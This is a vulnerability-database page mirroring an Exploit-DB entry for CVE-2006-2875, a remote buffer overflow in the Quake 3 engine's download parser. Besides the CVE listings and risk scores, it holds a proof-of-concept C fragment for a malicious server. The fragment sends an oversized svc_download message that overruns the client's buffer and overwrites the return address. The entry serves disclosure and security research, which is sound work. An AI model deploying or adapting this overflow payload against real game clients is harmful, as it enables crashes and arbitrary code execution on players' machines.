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Quake 3 Engine - 'CL_ParseDownload' Remote Buffer Overflow

🗓️ 05 Jun 2006 00:00:00Reported by Luigi AuriemmaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 44 Views

Quake 3 Engine remote buffer overflow vulnerabilit

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Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2006-2875
7 Jun 200600:00
cve
cvelist
Cvelist
CVE-2006-2875
7 Jun 200600:00
cvelist
debiancve
Debian CVE
CVE-2006-2875
7 Jun 200600:00
debiancve
euvd
EUVD
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7 Oct 202500:30
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nvd
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7 Jun 200600:02
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DEBIAN-CVE-2006-2875
7 Jun 200600:02
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prion
Prion
Stack overflow
7 Jun 200600:02
prion
// source: https://www.securityfocus.com/bid/18271/info
//
// The Quake 3 engine is susceptible to a remote buffer-overflow vulnerability. This issue is due to the application's failure to properly bounds-check user-supplied data before copying it to an insufficiently sized memory buffer.
//
// Remote attackers may exploit this issue to execute arbitrary machine code in the context of affected game clients. Failed exploit attempts will likely crash affected clients.
//
// Quake 3 version 1.32c and Icculus.org Quake 3 revision 795 are vulnerable to this issue; other versions may also be affected. The affected game engine has been used to create many derivative games, which may also be affected.
//

// send the gamestate
int i;
MSG_WriteByte( &msg, svc_download );
MSG_WriteShort( &msg, -1 ); // block != 0, for fast return
MSG_WriteShort( &msg, 16384 + 32 ); // amount of bytes to copy
for(i = 0; i < 16384; i++) { // overwrite the data buffer
MSG_WriteByte(&msg, 0x00); // 0x00 for saving space
}
for(i = 0; i < 32; i++) { // do the rest of the job
MSG_WriteByte(&msg, 'a'); // return address: 0x61616161
}
SV_SendMessageToClient( &msg, client );
return;

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15 Nov 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.06778
44